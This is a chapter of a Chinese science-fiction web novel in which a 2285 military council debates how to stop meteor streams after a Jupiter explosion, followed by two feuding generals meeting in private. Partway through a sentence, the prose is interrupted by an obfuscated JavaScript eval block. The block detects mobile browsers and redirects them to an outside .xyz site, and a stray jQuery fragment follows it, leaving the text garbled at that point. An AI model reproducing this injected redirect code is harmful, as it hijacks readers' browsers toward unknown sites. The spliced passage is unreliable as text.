—— 2285年12月24日13:00 | 地球·空天军联盟总部·中央会议室 ——


    灾情通报与审议告一段落，联席会议进入木星大爆炸应对方案的讨论阶段。


    随着几声“叮咚”提示音响起，消音键被按下，会议室内瞬间静音。


    韩济世收起纷乱的思绪，将飞龙舰队传回的小行星带部署计划推送至中央全息显示区。


    “诸位，这是我们于凌晨收到的飞龙舰队小行星带陨石拦截方案。


    东方舰队及地球防卫总署参谋部，已连夜对其进行初步审议，并制定出三套应对策略。


    现在，我们就请汉斯·海明威将军介绍东方舰队的整体部署。相关问题请提交至问询区。稍后，我们将依次做答。”


    他目光扫过主席台上空天军联席委员会的其他四位成员，见他们并无异议，便朝东方舰队指挥台点了点头，示意海明威将军开始他的讲解。


    .


    海明威将军望向对面十五选区近百名议员，心中暗叹：这个下午，注定漫长。


    他脑海中闪过女儿海瑟辗转发回的最后一条简讯：“飞龙舰队即将兵分两路，韩飞龙将执掌学院舰返航，瑞德勒将军随舰。”


    然而，她自己的去留，海瑟没有说明；韩呈栋，也没有交代。


    ——她是会随副舰长柯云埔去B区？留在翔龙母舰上追随韩呈栋参与“陨石星球计划”？还是……搭乘韩飞龙的学院舰，踏上返航之路？


    海明威强压下心头的不安，目光转向中央星图。


    他首先点开了第一个视频。


    一幅以地球为中心的太阳系星图在会议室上空徐徐展开，自木星袭来的陨石流中，标注为ABC的三股被高亮显示。


    “我们预计，AB两区陨石流将于地球轨道交叉，是飞龙舰队这次拦击行动的主要目标。”


    海明威将军指向第三股陨石流。


    “C区陨石流将与火星轨道交叉，目前，飞龙舰队将无力拦截。但是，飞龙舰队将派出无人穿梭机标注这股陨石，并将采集到的信息通过通讯火箭传回。”


    “目前，我们尚不清楚AB区内具体陨石流的大小，但火星基地推演表明，两股陨石流内可对地球造成威胁的陨石，数量众多，远超飞龙舰队拦截能力。”


    海明威将军点开了第二个视频。


    “因此，韩呈栋将军提出的‘陨石星球’计划，是以翔龙母舰的X引擎为核心，构建一个‘陨石星球’，以此阻挡小型陨石，并将大型陨石撞击出与地球相交的轨道。”


    他停顿了一下，让在场的议员们有时间观看推演视频，慢慢消化这个复杂而大胆的计划。


    .


    会议室内静寂无声。


    动态视图中，翔龙母舰消失在能量空洞中。能量空洞被层层陨石包裹，幽蓝色的能量流不时划过陨石星球表面，炽热的能量波将内层陨石融化，令星球内核渐渐坚硬。


    “如果，一切顺利，三四个星期后，一颗崭新的半径500公里的星球便将诞生。” 飞龙主机那略带机械音的声音回荡在会议室上空。


    大家都知道这意味着什么——位于核心的翔龙母舰上的官兵，将在那里度过余生，从此不见天日。


    大家的目光不由得齐齐投向韩济世。


    他的长子韩呈栋，那位20年前横空出世，职业生涯未尝一败的空天军战神，未来地球联盟三军统帅的有力竞争者，真的会在他声望如日中天的时候，甘心放弃一切执行这个计划吗？


    韩济世的面容虽一如既往的平静，但在看到翔龙母舰消失的一刹那，他扣在腰环上的手指还是微微颤抖起来。


    这个从小就令他引以为傲的儿子，终究还是……


    “韩老将军，您先喝点茶吧。” 坐在韩济世身边的韩呈槿一脸担忧的望向大伯，将一杯热茶轻轻推到他的手边。


    “呈槿，你下周就去翔土母舰报道吧——待在联盟参谋部，真是屈了你的才。”


    韩济世看向这个有些佛系的侄儿，长叹一声：“呈槿，小文和翎洋都在木星。我若是不在了，今后能撑起大局的，恐怕，就只有你了。”


    “是，大伯，我……不会让您失望。” 韩呈槿轻声应道。


    ——这十年，他被韩济世带在身边，隐隐就有要他取代栋哥掌管家族事务的意思。


    .


    视频结束，海明威将军接着讲述起来。


    “……这个方案有一定的风险，因此我们将其分成两部分。


    “如果陨石星球的方案成功，A区陨石流预计将会被完全阻断。翔龙母舰的四艘护卫舰将可以基本清理掉B区陨石流，东方舰队将负责拦截他们遗漏的少量陨石。”


    “如果陨石星球的计划失败，拦截任务将极为严峻。飞龙舰队将不得不使用舰载核弹，将质量过大的陨石分阶段爆破，清理出与地球相撞的航道。但他们携带的核弹数量有限，将无法在小行星带内彻底清理掉这些大块陨石。”


    他略一停顿，打开了第三个视频。那是东方舰队的战术部署图。


    “我们将调回火星驻防的第二舰队的三艘母舰，和东方舰队的全部三艘母舰，携带目前我们所有能携带的核弹，在小行星带和地球之间部署六道陨石拦截防线。”


    海明威将军打开第四个视频，开始解释陨石变轨方案。


    “对于过大、过重的陨石，我们将首先通过推进器调整其轨道；如果无法及时变轨，我们将采用核弹爆破。”


    各种详细的陨石拦截行动方案第次展现，每艘母舰的任务分配和核弹的使用计划也一一排布在半空。


    每个人的心情都沉重起来。


    在那么广袤的星空拦截陨石，计划再周详，也难免会有失误。


    而在小行星带执行拦截，还允许有失误。毕竟，陨石还有数月才会到达地球，然而……


    看向忧心忡忡的议员们，海明威点开了第五个视频。


    “对于东方舰队漏掉陨石的拦截任务将交由地球防卫总署的地面防御系统进行最后的防御。”


    激光炮和机炮交叉，地球的夜空，被点亮。


    海明威轻叹一口气，道：“但是，我们不希望走到这一步——大气层内的陨石拦截，效率十分低下，大量的人员伤亡，将不可避免。”


    他将中央视图切换后，指向几处高亮显示区：“此外，为了确保我们不会失去星舰制造能力，地球防卫总署所辖的东方舰队的翔土舰将留守地球，保护地球和月球上的关键设施，比如位于赤道的几处星际造船厂和X引擎制造中心。”


    他点开的最后一个视频是火星防卫计划。


    “火星方面则以火星洞穴为中心，守卫附近的居民点。由于火星的位置相对有利，我们初步估计，能够对火星造成毁灭打击的陨石数量，可以由留守火星的翔火号和翔月号两舰承担。”


    .


    海明威结束报告后，将视频中的星图定格在飞龙舰队在A区和B区的部署方案，以及东方舰队针对飞龙舰队的支援方案。


    会议进入提问环节。


    议员们互相交换了一下眼神，一位年长的5区议员面前的提问指示灯率先亮起。


    “海明威将军，请问‘陨石星球’方案的成功机率是多少？”


    海明威望向韩济世绷紧的面庞，轻轻摇了摇头：“很遗憾，目前，由于缺乏实验数据，‘陨石星球’方案的成功机率难以被准确评估。我们只能看，四个星期后，是不是有一颗星球出现在小行星带。当然，如果实验失败，我们，可能当天便可观测到……”


    “……”


    议员的提问一个接一个，海明威渐露疲态。


    终于，一位议员望向韩济世，问道，“韩老将军，对于火星的防卫，您似乎没有给出详细安排……请问，第二舰队，能否听从联盟调遣，回航地球？”


    韩济世将军环顾四周，坚定的回答道，“如确有必要，空天军联盟将召回驻守火星的第二舰队的全部三艘母舰。毕竟，地球的安危才最为重要——没有地球生态系统的支持，火星上的人类居住区，将无法长期存续。皮特将军，他应该知道孰轻孰重！”


    .


    很快，会议进入自由提问和辩论阶段。


    一直保持沉默的15区议员，柯恩·林登议员缓缓站起身来。


    他的语气虽然平缓，灰蓝色眼眸中却射出一道锐利光芒：“海明威将军，我只有一个问题——如果到最后，您的舰队拦不住全部的陨石……您将如何决定：孰轻？孰重？”


    坐在他身侧的14区议员朱莉亚立刻附和道：“昨夜，我们北岛地区伤亡惨重，局势已近失控。请问将军，为什么偏偏是我们14区的能量罩，最先被击毁？”


    林登的那道冰冷目光逼视着海明威：“请问，您在部署地球轨道防线时，是不是就已经默认某些区域可以被牺牲，而某些区域必须被保全？我们14、15区——是不是就注定要先被牺牲？”


    海明威眯起了眼睛——这样点名道姓的公开指责，无异于对他的挑衅。


    “林登议员，这是昨夜木星粒子流来袭的视图。我有必要解释一下，环地球的能量防御屏障，是联盟投资修建的，能量节点的分布是均匀铺开的。”


    他指向能量节点的分布图。


    “昨夜，第一波粒子流来袭时，环太平洋地区首当其冲，然而，能量节点是三个小时之后才开始陆续被削弱而坍塌。那时，14和15区刚好转向正面——”


    海明威的语气也冷了下来，“不过，想必二位议员也清楚，木星粒子流的强度和来袭方位，根本就不是我们东方舰队可以控制的！”


    1区议员洛克接话道：“朱莉亚议员，林登议员，请恕我直言，防护罩坍塌后，12区和13区也同时遭到了粒子流的打击，但都没有那么大的伤亡。因为，他们都按照联盟的建议，修建了地下城——而14区和15区，你们的地下城计划，讨论了八年，还在讨论……”


    12区的两名议员连连点头。


    “不错，我们当初为了修建地下城，耗费了多少人力物力！”


    “哎，那时候，你们两区在干什么呢？看我们笑话——笑我们是联盟忠犬——听话的很！”


    13区一名议员轻哼了一声，毫不客气地抢白道：“还有，林登议员，你们15区当时囤积建材，大赚了一笔，是吧？当初，你们的媒体整日里是怎么说的？13区，人傻钱多！永恒的星辰在上——这，就是报应！”


    13区同15区在联盟大战中结下了不少恩怨，最是不和。


    眼看西部四区的其它几名议员也跃跃欲试，打算加入吵架的行列，韩济世气恼不已，他心中暗骂：“娘的，这伙人，平日里唯恐天下不乱也就罢了，这都什么时候了，还要互掐？”


    他正打算拍案而起，将两方的争执打断，一个平静的女声响起。


    “诸位同僚，现在，我们正在讨论的，是整个地球的命运，而不是哪个区的存亡。无论陨石雨坠落何处，整个地球的生态圈都会受到影响。一旦生态圈失衡，整个文明的存续就将岌岌可危。此刻，争论谁先毁灭，谁后毁灭，有意义吗？”


    那是2区议员梁芷云。


    她的声音并不高亢，但在她挥手将一份视图推送中央显示区的一刻，众人的目光还是立刻聚焦在了她的身上。


    梁芷云，议员中唯一一位星球生态环境改造工程专家，火星生态圈的缔造者，梁昔昆的长女，著名的天文物理学家梁铮的妹妹。


    在生态系统的维持方面，她，最有发言权。


    “梁芷云议员，请问，你有何想法呢？” 海明威放缓了语气，问道。


    芷云，是他儿子海克特·海明威的未婚妻。他十分中意的儿媳妇。


    可惜，二十年前，二人婚礼前夕，时任空天军翔星第一飞行中队队长的海克特中校在清剿海盗的空战中，不幸战死。


    芷云伤心欲绝，至今未嫁。


    “若要维持地球生态环境的稳定，必须划定陨石溅落区，并将雨林、雪山、湿地等对生态至关重要的区域列入重点保护范围——无论它们位于第1区还是第15区。……”


    梁芷云显然是为这次会议做出了充分的准备，她的详细讲解，总算令大家达成共识。


    最终，在长达四小时的方案讨论会结束之际，主席台上的韩济世一锤定音，宣布三项关键决策：


    ——地球防卫总署将在未来两周内，依据地球环境总署的模拟推演，重新划定防卫优先区域，确保关键生态圈不受毁灭性打击。


    ——翔木将取代翔龙母舰，即刻起升为东方舰队旗舰。韩济世将亲率翔木与翔金两舰，于一周后启程前往小行星带，展开布防与拦截行动，重点拦截B区与A区残余陨石。同时，两舰将设立临时通讯网络，同飞龙舰队恢复实时联络。


    ——第二舰队那艘正在地球——火星之间巡航的翔水号将立刻返航地球。海明威将军将指挥翔土和翔水两舰，配合地球防卫总署加固轨道防御系统。


    中央显示区的球幕缓缓熄灭。


    与激动和兴奋的前四次联席会议不同，第五次联席会议带给所有人的，是深深的恐惧和悲哀。


    由于缺乏对未知辐射源的防护措施，参与陨石拦截任务的舰队官兵，将是九死一生。


    然而，留守地球，也是前途未卜。


    毕竟，覆巢之下，安有完卵？


    .


    “韩老将军，老夫人发来消息——吉姆·纳斯齐老将军到访。他请求与您私下见一面。”


    会议刚刚结束，韩呈槿就快步上前，和韩济世低声耳语道。


    “哦？” 韩济世微微皱眉，心中忍不住碎碎念起来：


    ——这个老吉姆，身体才刚好点，就又支楞起来了？又想跟我打架，好顺顺心气？


    ——纳斯齐家的，不该像伍德家的那样啊？动不动就要和人决斗……


    ——不过他们两家联姻多年，保不齐老吉姆身上真流着点伍德家族那不靠谱的好斗血脉……


    一想到他们上次密室会谈时那火药味十足的场面，韩济世就忍不住脑壳发胀。


    当他和老吉姆从秦翎洋口中听到：


    “小吉姆·纳斯齐当年曾打算与韩呈栋争夺楚寒玉……”


    “这十余年来，小吉姆为了报当年被“横刀夺爱”之仇，对韩呈栋暗中百般算计，恨不得除之而后快……”


    二人都当场惊得半天说不出话来。


    韩济世一边强装镇定，一边在脑子里飞快倒带：“瞧瞧，我真是老糊涂了！这十年都干了什么！让呈栋整整七年没回家，差点把他媳妇给弄丢了！”


    回过神来后的韩济世，火气“唰”地一下窜上脑门。


    那个替呈栋隐瞒真相的秦家老二被他当场痛揍一顿。韩呈栋得知消息后，121登星战后就赖在月球军港，不肯回总部——将述职的差事一股脑的交给了他那个笑面


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591543|158017||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    虎副舰长，柯云埔。


    这过去的三个月里，只要有人提到“吉姆”和“纳斯齐”，韩济世就烦到了五脏六腑里，浑身上下，没个舒服地方。


    .


    不过，当日老吉姆的情形更为惨烈。


    一开始，当秦翎洋提出对小吉姆的指控时，老吉姆根本不以为意——他压根就不信，那个从小被他亲手调教的大儿子，那个天性温和善良的儿子，会做出勾结盗匪，反叛联盟之事。


    所以，当一旁的韩济世怒斥他“教子无方，教出了空天军的头号叛徒”，更指小吉姆“不忠不义、狼子野心”时，他当场就拍案而起，打算冲上前给这个往他们父子身上泼脏水的骄横老友一顿老拳。


    然而，一条条交易记录，一份份往来的密电，一张张策划叛乱的视频，就摆在他眼前。


    铁证如山。


    老吉姆的脸色，终于僵住。


    小吉姆，居然暗中走私军火、操控暗网资金、绑架联盟要员、串联叛军残部……手段之肮脏、行径之狠毒，令他简直无法想象。


    他无法理解儿子这样做的动机——纳斯齐家族，一向中立。


    而且，他们家，不缺钱。


    秦翎洋无奈，终于支支吾吾地道出他和韩呈栋的推测。


    “小吉姆之所以做这一切……很可能是为了……嗯，夺回他自认为，和他是青梅竹马的楚寒玉。”


    老吉姆整个人呆在当场。


    然后就是暴怒。


    “逆子！畜生！辱没了我纳斯齐家族的荣誉！” “不仁不义，罪无可恕！”


    ——韩济世知道，依着老吉姆的脾气，若小吉姆那会儿出现在他们面前，他会当场拔出R30配枪，在他儿子身上打出几十个窟窿。


    秦翎洋接着又提到，小吉姆的妻子达芙琳·伍德和一双儿女至今下落不明。


    “天啊，这让我们纳斯齐家族如何向伍德家族交代？”


    老吉姆被气得当场吐血昏厥。


    这位身体原本很好的老头子经此打击，一病不起，以至于一度生命垂危，在联盟总院躺了三个月才渐渐恢复。


    .


    得知老吉姆并未卷入其中，韩济世终于松了口气，也不再为难他。


    毕竟，老吉姆的父亲伊斯梅尔与韩济世的父亲韩琦粤是军校同期，联盟大战时，伊斯梅尔力排众议，坚持纳斯齐家族中立，实则暗助了联盟一臂之力。


    老吉姆本人与韩济世也算发小，年轻时亲如兄弟。


    哪怕后来韩济世因战功赫赫晋升为空天军统帅，对老吉姆仍一向客气有加。


    二人关系转冷，是从第一舰队被整编开始。


    老吉姆为人虽然严谨，却天性温和，治下不严。


    另外，他对一些走私者与星际海盗表示了同情，甚至曾经劝说韩济世网开一面。


    在他看来，那些败军残部是因为迫于生计，才铤而走险。联盟不如设立一些工作机会，令他们至少可以养家糊口。


    而在联盟大战中失去了无数战友和两个亲弟弟的韩济世却不这么认为——对敢于劫掠的叛军余孽，他更倾向于铁腕清剿。


    二人政见不同，于是渐行渐远。


    不过，真正令二人分道扬镳的，是火星基地围攻案。


    在老吉姆眼皮子底下，他的亲家楚凯明和儿媳楚寒玉几乎被劫，而好友之子，姜羿夫妇更是双双殒命。


    这口气，暴脾气的韩济世可咽不下去。


    老吉姆·纳斯齐被迫引咎辞职后，干脆让儿子也退出了第二舰队。


    他更是警告韩济世，以后别老是找他麻烦——火星纳斯齐家族从此专心经商搞航运。


    老吉姆却万万没想到，他那个温文尔雅的大儿子，竟然背着他策划了这么多桩震惊联盟的惨案。


    而这一切的起因，只因小吉姆始终无法释怀那个早已为人妻的“青梅竹马”——楚寒玉。


    这三个月，老吉姆躺在病榻上，反复回想过往，百般追悔。


    他常常望着天花板，自言自语：


    “如果，当初我没逼他迎娶达芙琳，而是尊重他的选择，也许这一切的一切，都不会发生！”


    .


    韩家密室。


    “韩济世，我要去小行星带拦截陨石。” 老吉姆一进门便开门见山的表明了来意。


    韩济世撇了撇嘴，摘下头盔，顺手从饮料柜里挑出一罐玫瑰冰茶。


    “想的挺美。你这老家伙恢复得还不错，说话倒是中气十足。不过，你不是已经退役，专心搞钱去了吗？” 他手一甩，将饮料罐扔向老吉姆。


    对方抬手，稳稳接住，狠狠瞪了他一眼。


    “瞧瞧你，还是老样子，一副不苟言笑的严肃模样。给谁看？说好听点，你那是气质沉稳，说难听点嘛——就是迂腐古板！”


    韩济世自顾自地笑起来，打开一罐薄荷冰茶就灌了下去。


    从小他就最看不得老吉姆的那副做派——当年，父亲韩琦粤总爱拿吉姆这个“别人家的好孩子”当榜样鞭策自己这个脾气暴躁，点火就着的长子。


    所以，韩济世小时候最喜欢干的事，就是挑衅老吉姆，让他在两位老父亲面前破防。


    偏偏老吉姆天生好脾气，遇事不急不躁。


    于是，韩济世越逗越气，越气越想逗。


    不过，那时候，性格迥异的二人虽然时常打闹，却也是无话不谈的好友。


    但是，如今，时光和岁月的磨砺下，友情也就慢慢淡漠下来了。


    .


    老吉姆直视着韩济世，语气已经恢复了往日舰队指挥官的威严：“韩济世，我这次来，只是和你打个招呼。也想问问你，是不是没打算把我送进联盟监狱——我还是可以自由行动的，对吧？”


    韩济世心中腹诽：瞧瞧，这冲天的怨气，遮都遮不住。


    “我没打算关着你——你那副身家，我也关不住你。不过，你那个逆子，我不会轻饶……”


    韩济世看向脸上快速划过一丝痛苦的老友，叹了一口气。


    “再说，你去小行星带干什么？要是想看我热闹，那就搭我的星舰去吧，我可没有多余的舰只调拨给你指挥……”


    “我不用联盟星舰。” 老吉姆打断了韩济世的话。


    韩济世怔了一下，打算出言询问。


    老吉姆抬手制止道：“请、听、我、说。” 他这位儿时的好友，最缺的就是耐心——尤其是和他讲话时。


    韩济世冲着韩呈槿一挥手，示意他先退下，心道：“老家伙的那个眼神，是想和我单独谈吗？”


    看到韩呈槿的背影消失在门口，老吉姆轻叹一声：“你就不怕我害你？”


    韩济世很不厚道的调侃道：“从小你就打不过我，难道老了你就能翻天？嘿嘿，你那儿子，也打不过我儿子！”


    老吉姆被韩济世怼的心头火起，只好低头啜饮了几口冰茶消消火。


    韩济世却没罢休，又道：“吉姆，依我看，你就是太心慈手软，结果——御下不严，教子无方！”


    和他谈话，韩济世从来都是夹枪带棒，不刺激得他血压升高，不会罢休。


    然而今天，他不打算发火。


    平复了一下心情，老吉姆将手臂终端上的一份计划推送给韩济世。


    “这一次，你若想在地球轨道外拦下全部陨石，就会需要我的帮助。”


    .


    【X装置三部曲第二部·尘封密码】至此完结